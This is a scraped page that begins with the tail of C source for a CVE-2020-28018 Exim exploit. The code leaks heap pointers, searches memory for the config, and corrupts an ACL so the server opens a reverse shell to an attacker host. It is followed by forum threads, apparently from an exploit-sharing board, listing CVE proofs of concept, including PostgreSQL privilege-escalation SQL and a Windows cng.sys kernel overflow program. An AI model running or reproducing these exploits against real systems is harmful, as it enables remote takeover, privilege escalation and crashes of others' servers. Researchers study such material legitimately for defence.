        ctx = NULL;
    }
    
    close(fd);

    return 1;
}

/* arbitrary read primitive */

int arbitrary_read(char *hostname, int port) {
    long fd = 0;
    int count = 0, curr = 0;
    int i = 0, x = 0, l = 0;
    SSL *ssl = NULL;
    char *STRUCT_OVERWRITE = NULL;
    unsigned long inject_point = NULL;
    char buf[4096];
    char tmp_cmd[2000];

    memset(buf, '\0', sizeof(buf));
    memset(tmp_cmd, '\0', sizeof(tmp_cmd));

    STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
    
    if(output_level)
        printf("[+] Connecting to %s:%d\n", hostname, port);
    
    fd = remote_conn(hostname, port);
    
    exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);

    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
        
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

    reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    i = 0;
    while(i < PRE_FILL_OV) {
        reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
        exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
        i++;
    }


    reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
        
    close_tls_channel(ssl);
    ssl = NULL;
        
    reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    memcpy(tmp_cmd, "EHLO ", 5);
    
    i = 0;
    while(i < EHLO_PAD) {
        tmp_cmd[i+5] = 0x41;
        i++;
    }
    tmp_cmd[i+5] = 0x0a;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    x = 8; // padding
    
    mem_flg = SEND_SZ_OV;
    
    memcpy(STRUCT_OVERWRITE, &curr_heap, 8);
    
    while(x < SEND_SZ_OV) {
        memcpy(STRUCT_OVERWRITE+x, &READ_SZ, 4);
        memcpy(STRUCT_OVERWRITE+x+4, &READ_SZ, 4);
        memcpy(STRUCT_OVERWRITE+x+8, &curr_heap, 8);
        x += 16;
    }
    
    x = 0;
    while(x < DATA_X_ITER) {
        reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
        exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
        sleep(0.5);
        x++;
    }
    
    mem_flg = 0;
    
    reinit_mem(buf, sizeof(buf), "XX\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), ".\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

    memset(tmp_cmd, '\0', sizeof(tmp_cmd));
    memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
    
    i = 0;
    while(i < POST_JUNK_ALIGN) {
        tmp_cmd[i+37] = 0x52;
        i++;
    }
    tmp_cmd[i+37] = 0x0a;
    tmp_cmd[i+38] = 0x00;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);

    if(!ssl)
        return;

    data_flg = 1;
    
    memcpy(STRUCT_OVERWRITE, "MAIL FROM:<>\n", 14);
    
    reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    data_flg = 0;
        
    if(STRUCT_OVERWRITE) {
        free(STRUCT_OVERWRITE);
        STRUCT_OVERWRITE = NULL;
    }
    
    if(ssl) {
        SSL_free(ssl);
        ssl = NULL;
    }
    
    if(ctx) {
        SSL_CTX_free(ctx);
        ctx = NULL;
    }
    
    close(fd);

    return 1;
}

/* implementation of a config search using leaked heap pointers + arbitrary read primitive */

int search_config(char *hostname, int port) {
    int i = 0, ret = 0;
    
    mem_exfil = calloc(HEAP_RANGE_OFF, sizeof(char));
    curr_heap = heap_base;
    
    while(i < (HEAP_RANGE_OFF/READ_SZ)) {

        arbitrary_read(hostname, port);
        curr_heap += READ_SZ;
        printf("\t[*] ptr = 0x%lx ; sz = %ld\n", curr_heap, READ_SZ);
        if(found_flg) {
            printf("\n\t[+] Config found at: 0x%lx\n\n", config_addr);
            ret = 1;
            break;
        }
        i++;
    }
    
    if(mem_exfil) {
        free(mem_exfil);
        mem_exfil = NULL;
    }
    
    return ret;
}

/* write-what-where primitive */

int write_what_where(char *hostname, int port, char *injected_config) {

    long fd = 0;
    int count = 0;
    int curr = 0;
    int i = 0, x = 0, l = 0;
    SSL *ssl = NULL;
    char *STRUCT_OVERWRITE = NULL;
    unsigned long inject_point = NULL;
    char buf[4096];
    char inject[4096];
    char tmp_cmd[2000];
    
    memset(buf, '\0', sizeof(buf));
    memset(inject, '\0', sizeof(inject));
    memset(tmp_cmd, '\0', sizeof(tmp_cmd));

    STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
    
    if(output_level)
        printf("[+] Connecting to %s:%d\n", hostname, port);
    
    fd = remote_conn(hostname, port);
    
    exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);



    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
        
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

    reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    i = 0;
    while(i < PRE_FILL_OV) {
        reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
        exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
        i++;
    }
    
    reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
        
    close_tls_channel(ssl);
    ssl = NULL;
        
    reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    memcpy(tmp_cmd, "EHLO ", 5);
    
    i = 0;
    while(i < EHLO_PAD) {
        tmp_cmd[i+5] = 0x41;
        i++;
    }
    tmp_cmd[i+5] = 0x0a;
    tmp_cmd[i+6] = 0x00;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

    inject_point = config_addr - strlen("501 (");
    printf("\t[+] inject_point = 0x%lx\n", inject_point);
    
    x = STRCT_OV_PAD; // padding
    mem_flg = SEND_SZ_OV;
    memcpy(STRUCT_OVERWRITE, "BBBBBB", 6);
    while(x < SEND_SZ_OV) {
        memcpy(STRUCT_OVERWRITE+x, "AAAA", 4);
        memcpy(STRUCT_OVERWRITE+x+4, "\x00\x00\x00\x00", 4);
        memcpy(STRUCT_OVERWRITE+x+8, &inject_point, 8);
        x += 16;
    }
    
    x = 0;
    while(x < DATA_X_ITER) {
        reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
        exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
        sleep(0.5);
        x++;
    }
    
    mem_flg = 0;
    
    reinit_mem(buf, sizeof(buf), "XX\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), ".\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    memset(tmp_cmd, '\0', sizeof(tmp_cmd));
    memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
    
    i = 0;
    while(i < POST_JUNK_ALIGN) {
        tmp_cmd[i+37] = 0x52;
        i++;
    }
    tmp_cmd[i+37] = 0x0a;
    tmp_cmd[i+38] = 0x00;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);

    if(!ssl)
        return;
    
    snprintf(inject, sizeof(inject)-1, "MAIL FROM: %s\nMAIL FROM: <>\nRCPT TO: <root@localhost>\n", injected_config);
    
    reinit_mem(buf, sizeof(buf), inject);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
        
    if(STRUCT_OVERWRITE) {
        free(STRUCT_OVERWRITE);
        STRUCT_OVERWRITE = NULL;
    }
    
    if(ssl) {
        SSL_free(ssl);
        ssl = NULL;
    }
    
    if(ctx) {
        SSL_CTX_free(ctx);
        ctx = NULL;
    }
    
    close(fd);

    return 1;
}

/* wrapping for write_what_where() */

int inject_cmd(char *hostname, int port, char *attacker_host, int attacker_port) {
    char injected_config[MAX_CONFIG_SZ];
    memset(injected_config, '\0', sizeof(injected_config));
    snprintf(injected_config, sizeof(injected_config)-1, INJECT_CFG, attacker_host, attacker_port);
    return write_what_where(hostname, port, injected_config);
}

int main(int argc, char *argv[]) {

    int TARGET_PORT = 0, ATTACKER_PORT = 0;
    pthread_t listener_p = 0;
    char TARGET_HOST[MAX_HOST];
    char ATTACKER_HOST[MAX_HOST];
    
    memset(TARGET_HOST, '\0', sizeof(TARGET_HOST));
    memset(ATTACKER_HOST, '\0', sizeof(ATTACKER_HOST));
        
    puts("[i] CVE-2020-28018 Proof-Of-Concept (PoC) exploit by @lockedbyte");

    if(argc < 5) {
        printf("[%%] Usage: %s <target host> <target port> <attacker host> <attacker port>\n", argv[0]);
        exit(0);
    }
    
    snprintf(TARGET_HOST, sizeof(TARGET_HOST)-1, "%s", argv[1]);
    TARGET_PORT = atoi(argv[2]);
    
    snprintf(ATTACKER_HOST, sizeof(ATTACKER_HOST)-1, "%s", argv[3]);
    ATTACKER_PORT = atoi(argv[4]);
    
    /* 1. we leak heap pointers to bypass ASLR */
    
    puts("[*] Leaking heap addresses...");
    
    if(!leak_phase(TARGET_HOST, TARGET_PORT)) {
        puts("[-] Something went wrong on memory leak phase");
        exit(0);
    }
    
    if(pause_s)
        pausex();
        
    /* 2. we search for exim config for exploit reliability purposes (not a fixed offset) */
    
    puts("[*] Searching for Exim configuration in memory...\n");
    
    if(!search_config(TARGET_HOST, TARGET_PORT)) {
        puts("[-] Something went wrong on config search phase");
        exit(0);
    }
    
    puts("[i] Execute netcat now to listen for reverse shell and press enter...");
    
    pausex();
    
    /* 3. we corrupt an ACL to run an arbitrary command */
    
    puts("[*] Corrupting Exim configuration with a malicious entry...");

    if(!inject_cmd(TARGET_HOST, TARGET_PORT, ATTACKER_HOST, ATTACKER_PORT)) {
        puts("[-] Something went wrong on config corruption phase");
        exit(0);
    }
    
    puts("[+] Exploit completed!");
    
    return 0;
}

adepts.of0x.cc

From theory to practice: analysis and PoC development for CVE-2020-28018 (Use-After-Free in Exim) |

Development of a PoC for one of the vulnerabilities published by Qualys in Exim

adepts.of0x.cc adepts.of0x.cc

RCE, Windows Server DNS, CVE-2020-1350, SIGRed
ID: 67686ba3b4103b69df379c9c
Thread ID: 49072
Created: 2021-03-08T08:33:23+0000
Last Post: 2021-03-29T10:59:24+0000
Author: weaver
Prefix: Remote
Replies: 4 Views: 2K

Инфа

Anatomy of an Exploit: RCE with CVE-2020-1350 SIGRed - Blog | Grapl

We cover the Windows DNS RCE vulnerability CVE-2020-1350, and build an exploit for it.

![www.graplsecurity.com](/proxy.php?image=https%3A%2F%2Fuploads- ssl.webflow.com%2F619429fa2be12718c5829428%2F61b76b4272b05c34043a72b0_favicon.png&hash=309483e16e894ec194dbfac50bbdf653&return_error=1) www.graplsecurity.com

PoC

github.com

[ GitHub - chompie1337/SIGRed_RCE_PoC

](https://github.com/chompie1337/SIGRed_RCE_PoC)

Contribute to chompie1337/SIGRed_RCE_PoC development by creating an account on GitHub.

github.com github.com

LPE, Linux - subsystem iSCSI, CVE-2021-27365\64\63
ID: 67686ba3b4103b69df379c9d
Thread ID: 49348
Created: 2021-03-15T05:26:05+0000
Last Post: 2021-03-16T23:44:10+0000
Author: weaver
Prefix: Local
Replies: 2 Views: 2K

PoC

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F35825fb5a86ef48064282304fe4281f30a2a169d96a9b5c0df31c28c5902ac67%2Fgrimm- co%2FNotQuite0DayFriday&hash=47706e3431b2bcefec9aba88376e41d4&return_error=1)

[ NotQuite0DayFriday/2021.03.12-linux-iscsi at trunk · grimm-

co/NotQuite0DayFriday ](https://github.com/grimm- co/NotQuite0DayFriday/tree/trunk/2021.03.12-linux-iscsi)

This is a repo which documents real bugs in real software to illustrate trends, learn how to prevent or find them more quickly. - grimm- co/NotQuite0DayFriday

github.com github.com

LPE, sudo <1.9.5p2, CVE-2021-3156
ID: 67686ba3b4103b69df379ca3
Thread ID: 47320
Created: 2021-01-28T13:46:37+0000
Last Post: 2021-02-09T20:33:23+0000
Author: ms3c
Prefix: Local
Replies: 5 Views: 2K

Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)

github.com

Serpentiel/CVE-2021-3156

Contribute to Serpentiel/CVE-2021-3156 development by creating an account on GitHub.

github.com github.com

seems like CTF
Screenshot from 2021-01-28 16.44.16.png
Screenshot from 2021-01-28 16.45.49.png

Privilege Escalation, PostgreSQL, CVE-2020-25695
ID: 67686ba3b4103b69df379ca7
Thread ID: 45674
Created: 2020-12-18T00:10:27+0000
Last Post: 2020-12-21T09:48:40+0000
Author: pablo
Prefix: Local
Replies: 1 Views: 2K

CVE-2020-25695 Privilege Escalation in Postgresql - Staaldraad

<https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql- privesc/>

Code:Copy to clipboard

-- Low privileged function

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user); SELECT $1';

-- High privileged function

CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
   LANGUAGE sql
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
ALTER USER foo SUPERUSER;
SELECT $1';

-- updated trigger

CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$
BEGIN
IF current_user = 'postgres' THEN
    PERFORM tmp.public.snfunc2(1000); RETURN NEW;
ELSE
    PERFORM tmp.public.snfunc(1000); RETURN NEW;
END IF;
END $e$
LANGUAGE plpgsql;
Unauthorised Access, Samsung Secure Folder, SVE-2020-18025
ID: 67686ba3b4103b69df379caa
Thread ID: 44269
Created: 2020-11-13T10:23:06+0000
Last Post: 2020-11-13T10:23:06+0000
Author: cemcimdedi
Prefix: Local
Replies: 0 Views: 2K

Samsung, access protected files stored in secure folder without unlockin

[SVE-2020-18025](https://servicenger.com/blog/mobile/sve-2020-18025-unauthorised- access-to-samsung-secure-folder-files/)

RCE, OpenOffice, CVE-2020-13958
ID: 67686ba3b4103b69df379cab
Thread ID: 44267
Created: 2020-11-13T08:06:30+0000
Last Post: 2020-11-13T08:35:10+0000
Author: pyx0rnull
Prefix: Local
Replies: 1 Views: 2K

Products: Apache OpenOffice 4 (< 4.1.8)
CVE: CVE-2020-13958
References:

__

[ CVE-2020-13958

](https://www.openoffice.org/security/cves/CVE-2020-13958.html)

www.openoffice.org

PoC / Exploits:

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F9b67712cc32e5d332d61d47b785835e81cb97f424887fa0e46d38938e44af5eb%2Firsl%2Fapache- openoffice-rce-via-uno- links&hash=89135e4634654eae4c99a6b17c3442ea&return_error=1)

[ GitHub - irsl/apache-openoffice-rce-via-uno-links

](https://github.com/irsl/apache-openoffice-rce-via-uno-links)

Contribute to irsl/apache-openoffice-rce-via-uno-links development by creating an account on GitHub.

github.com github.com

![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Firsl%2Fapache-openoffice-rce- via-uno-links%2Fraw%2Fmaster%2Fapache-openoffice-rce- poc.gif&hash=fe57c6a166dd211b0eb54c74addea916)

LPE\Sandbox Escape, Windows Kernel Cryptography Driver (cng.sys), CVE-2020-17087
ID: 67686ba3b4103b69df379cac
Thread ID: 44185
Created: 2020-11-11T10:03:43+0000
Last Post: 2020-11-11T10:03:43+0000
Author: weaver
Prefix: DoS
Replies: 0 Views: 2K

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

The Windows Kernel Cryptography Driver (cng.sys) exposes a \Device\CNG device to user-mode programs and supports a variety of IOCTLs with non- trivial input structures. It constitutes a locally accessible attack surface that can be exploited for privilege escalation (such as sandbox escape).

We have identified a vulnerability in the processing of IOCTL 0x390400, reachable through the following series of calls:

1. cng!CngDispatch
2. cng!CngDeviceControl
3. cng!ConfigIoHandler_Safeguarded
4. cng!ConfigFunctionIoHandler
5. cng!_ConfigurationFunctionIoHandler
6. cng!BCryptSetContextFunctionProperty
7. cng!CfgAdtReportFunctionPropertyOperation
8. cng!CfgAdtpFormatPropertyBlock

The bug resides in the cng!CfgAdtpFormatPropertyBlock function and is caused by a 16-bit integer truncation issue. It is best explained with a C-like pseudo code of the function:

--- cut ---
1: NTSTATUS CfgAdtpFormatPropertyBlock(PBYTE SourceBuffer, USHORT SourceLength, PUNICODE_STRING Destination) {
2: CONST USHORT DestinationSize = (USHORT)(6 * SourceLength);
3: PWCHAR OutputBuffer = BCryptAlloc(DestinationSize);
4:
5: for (USHORT i = 0; i < SourceLength; i++) {
6: *OutputBuffer++ = "0123456789abcdef"[*SourceBuffer >> 4];
7: *OutputBuffer++ = "0123456789abcdef"[*SourceBuffer & 0xF];
8: *OutputBuffer++ = ' ';
9: SourceBuffer++;
10: }
11:
12: Destination->MaximumLength = DestinationSize;
13: Destination->Length = DestinationSize - 2;
14: Destination->Buffer = OutputBuffer;
15:
16: return STATUS_SUCCESS;
17: }
--- cut ---

The integer overflow occurs in line 2, and if SourceLength is equal to or greater than 0x2AAB, an inadequately small buffer is allocated from the NonPagedPool in line 3. It is subsequently overflown by the binary-to-hex conversion loop in lines 5-10 by a multiple of 65536 bytes.

The source code of a proof-of-concept program is attached. It was tested on an up-to-date build of Windows 10 1903 (64-bit), but the vulnerability is believed to be present since at least Windows 7. A crash is easiest to reproduce with Special Pools enabled for cng.sys, but even in the default configuration the corruption of 64kB of kernel data will almost surely crash the system shortly after running the exploit.

An example crash log is as follows:

--- cut ---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try- except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe38e34cf3000, memory referenced.
Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
Arg3: fffff80068552924, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

[...]

TRAP_FRAME: fffff60c71740d90 -- (.trap 0xfffff60c71740d90)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000020 rbx=0000000000000000 rcx=ffffe38e34cf3000
rdx=ffffe38e34cf2ff0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80068552924 rsp=fffff60c71740f20 rbp=0000000000002aab
r8=0000000000002aa9 r9=0000000000000002 r10=fffff8006858ce70
r11=fffff60c71740e70 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz ac po nc
cng!CfgAdtpFormatPropertyBlock+0xa8:
fffff80068552924 668901 mov word ptr [rcx],ax ds:ffffe38e34cf3000=????
Resetting default scope

LAST_CONTROL_TRANSFER: from fffff80067761ef2 to fffff80067683b30

STACK_TEXT:
fffff60c71740348 fffff80067761ef2 : ffffe38e34cf3000 0000000000000003 fffff60c717404b0 fffff800675dd2f0 : nt!DbgBreakPointWithStatus
fffff60c71740350 fffff800677615e7 : fffff80000000003 fffff60c717404b0 fffff800676903f0 fffff60c717409f0 : nt!KiBugCheckDebugBreak+0x12
fffff60c717403b0 fffff8006767bde7 : fffff8006791d4f8 fffff8006778ba45 ffffe38e34cf3000 ffffe38e34cf3000 : nt!KeBugCheck2+0x947
fffff60c71740ab0 fffff800676c119e : 0000000000000050 ffffe38e34cf3000 0000000000000002 fffff60c71740d90 : nt!KeBugCheckEx+0x107
fffff60c71740af0 fffff8006754e59f : 0000000000000fff 0000000000000002 0000000000000000 ffffe38e34cf3000 : nt!MiSystemFault+0x19dcee
fffff60c71740bf0 fffff80067689d5e : ffffe38e314fd880 ffffe38e34cf2ff0 ffffe38e391e5000 fffff800675791ad : nt!MmAccessFault+0x34f
fffff60c71740d90 fffff80068552924 : fffff60c71740fe0 fffff60c71741508 ffffe38e391e5000 ffff976c4503896f : nt!KiPageFault+0x35e
fffff60c71740f20 fffff8006855224e : 0000000000000000 fffff60c71741050 ffffe38e391e5000 0000000000000001 : cng!CfgAdtpFormatPropertyBlock+0xa8
fffff60c71740f50 fffff80068550282 : 0000000000000005 fffff60c71741720 ffffe38e391e5000 ffffe38e391e4200 : cng!CfgAdtReportFunctionPropertyOperation+0x23e
fffff60c71741470 fffff80068539580 : fffff60c71741720 ffffe38e391e4100 fffff60c717415f0 ffffe38e391e4200 : cng!BCryptSetContextFunctionProperty+0x3a2
fffff60c71741570 fffff80068502e86 : 0000000000003aab 0000000000000008 0000000000003aab ffffe38e39d25000 : cng!_ConfigurationFunctionIoHandler+0x3bd5c
fffff60c71741660 fffff80068502d22 : 0000000000003aab 0000000000003ab0 0000000000000204 0000000000000000 : cng!ConfigFunctionIoHandler+0x4e
fffff60c717416a0 fffff80068501567 : 0000000000000000 fffff80000003aab 0000000000000000 0000000000010400 : cng!ConfigIoHandler_Safeguarded+0xd2
fffff60c71741710 fffff800684fe0ea : 0000000000000000 ffffe38e392fd1d0 ffffe38e392fd100 0000000000000008 : cng!CngDeviceControl+0x97
fffff60c717417e0 fffff800674e54e9 : ffffe38e392fd100 0000000000000000 0000000000000002 0000000000000001 : cng!CngDispatch+0x8a
fffff60c71741820 fffff80067a8aa55 : fffff60c71741b80 ffffe38e392fd100 0000000000000001 ffffe38e3a2068d0 : nt!IofCallDriver+0x59
fffff60c71741860 fffff80067a8a860 : 0000000000000000 fffff60c71741b80 ffffe38e392fd100 fffff60c71741b80 : nt!IopSynchronousServiceTail+0x1a5
fffff60c71741900 fffff80067a89c36 : 0000024c8d0d3000 0000000000000000 0000000000000000 0000000000000000 : nt!IopXxxControlFile+0xc10
fffff60c71741a20 fffff8006768d555 : 0000000000000000 0000000000000000 0000000000000000 00000072ae1af3d8 : nt!NtDeviceIoControlFile+0x56
fffff60c71741a90 00007fff0189c1a4 : 00007ffeff22eaa7 0000000000000000 cccccccccccccccc cccccccccccccccc : nt!KiSystemServiceCopyEnd+0x25
00000072ae1af708 00007ffeff22eaa7 : 0000000000000000 cccccccccccccccc cccccccccccccccc cccccccccccccccc : ntdll!NtDeviceIoControlFile+0x14
00000072ae1af710 00007ffeffbf6430 : 0000000000390400 cccccccccccccccc cccccccccccccccc cccccccccccccccc : KERNELBASE!DeviceIoControl+0x67
00000072ae1af780 00007ff7aeea8872 : 0000000000000000 0000000000000000 00000072ae1af810 0000000000000000 : KERNEL32!DeviceIoControlImplementation+0x80
--- cut ---

NOTE: We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

Credit: Mateusz Jurczyk and Sergei Glazunov of Google Project Zero

Click to expand...

cng_ioctl_390400.cpp

C++:Copy to clipboard

#pragma comment(lib, "ntdll")

#include <cstdio>
#include <windows.h>

int main() {
  HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
    GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

  if (hCng == NULL) {
    printf("[-] Failed to open \\Device\\Cng: %u\n", GetLastError());
    return 1;
  }

  printf("[+] \\Device\\Cng opened, handle: %p\n", hCng);

  //
  // DataBufferSize overflows when used for allocating memory in
  // cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6).
  //
  // In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2
  // bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it.
  //
  CONST DWORD DataBufferSize = 0x2AAB;
  CONST DWORD IoctlSize = 4096 + DataBufferSize;
  BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);

  RtlZeroMemory(IoctlData, IoctlSize);

  *(DWORD*)    &IoctlData[0x00] = 0x1A2B3C4D;
  *(DWORD*)    &IoctlData[0x04] = 0x10400;
  *(DWORD*)    &IoctlData[0x08] = 1;
  *(ULONGLONG*)&IoctlData[0x10] = 0x100;
  *(DWORD*)    &IoctlData[0x18] = 3;
  *(ULONGLONG*)&IoctlData[0x20] = 0x200;
  *(ULONGLONG*)&IoctlData[0x28] = 0x300;
  *(ULONGLONG*)&IoctlData[0x30] = 0x400;
  *(DWORD*)    &IoctlData[0x38] = 0;
  *(ULONGLONG*)&IoctlData[0x40] = 0x500;
  *(ULONGLONG*)&IoctlData[0x48] = 0x600;
  *(DWORD*)    &IoctlData[0x50] = DataBufferSize; // OVERFLOW
  *(ULONGLONG*)&IoctlData[0x58] = 0x1000;
  *(ULONGLONG*)&IoctlData[0x60] = 0;
  RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
  RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);

  ULONG_PTR OutputBuffer = 0;
  DWORD BytesReturned;
  BOOL Status = DeviceIoControl(
    hCng,
    0x390400,
    IoctlData,
    IoctlSize,
    &OutputBuffer,
    sizeof(OutputBuffer),
    &BytesReturned,
    NULL
  );

  printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer);

  HeapFree(GetProcessHeap(), 0, IoctlData);
  CloseHandle(hCng);

  return 0;
}

__

[ 2104 - project-zero - Project Zero - Monorail

](https://bugs.chromium.org/p/project-zero/issues/detail?id=2104)

bugs.chromium.org bugs.chromium.org

__

[ Security Update Guide - Microsoft Security Response Center

](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17087)

![msrc.microsoft.com](/proxy.php?image=https%3A%2F%2Fmsrc.microsoft.com%2Fupdate- guide%2Ffavicon%2Ffavicon.svg&hash=a3ea06d74b69fa588c667a9e80081986&return_error=1) msrc.microsoft.com

RCE, Microsoft SharePoint, CVE-2020-16952
ID: 67686ba3b4103b69df379cad
Thread ID: 43948
Created: 2020-11-05T11:20:16+0000
Last Post: 2020-11-05T17:25:15+0000
Author: pyx0rnull
Prefix: Remote
Replies: 1 Views: 2K

Products: Microsoft Sharepoint 2013 SP1, 2016, 2019
CVE: CVE-2020-16952
References:

__

Source Incite

experts in offensive technologies

srcincite.io srcincite.io

__

[ Security Update Guide - Microsoft Security Response Center

](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2020-16952)

![portal.msrc.microsoft.com](/proxy.php?image=https%3A%2F%2Fportal.msrc.microsoft.com%2Fupdate- guide%2Ffavicon%2Ffavicon.svg&hash=3f87a07d58eee316a2b91056d8992890&return_error=1) portal.msrc.microsoft.com

PoC / Exploits:

https://srcincite.io/pocs/cve-2020-16952.py.txt

Metasploit module:

__

[ Microsoft SharePoint SSI / ViewState Remote Code Execution ≈ Packet

Storm ](https://packetstormsecurity.com/files/159612/Microsoft-SharePoint-SSI- ViewState-Remote-Code-Execution.html)

Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers

packetstormsecurity.com packetstormsecurity.com

RCE, WebLogic, CVE-2020-14882
ID: 67686ba3b4103b69df379cae
Thread ID: 43735
Created: 2020-10-30T16:00:47+0000
Last Post: 2020-11-01T15:40:42+0000
Author: r1z
Prefix: Remote
Replies: 1 Views: 2K

CVE-2020–14882 - research by Jang

screenPoc.png

more info:

github.com

[ GitHub - jas502n/CVE-2020-14882: CVE-2020–14882、CVE-2020–14883

](https://github.com/jas502n/CVE-2020-14882)

CVE-2020–14882、CVE-2020–14883. Contribute to jas502n/CVE-2020-14882 development by creating an account on GitHub.

github.com github.com

github.com

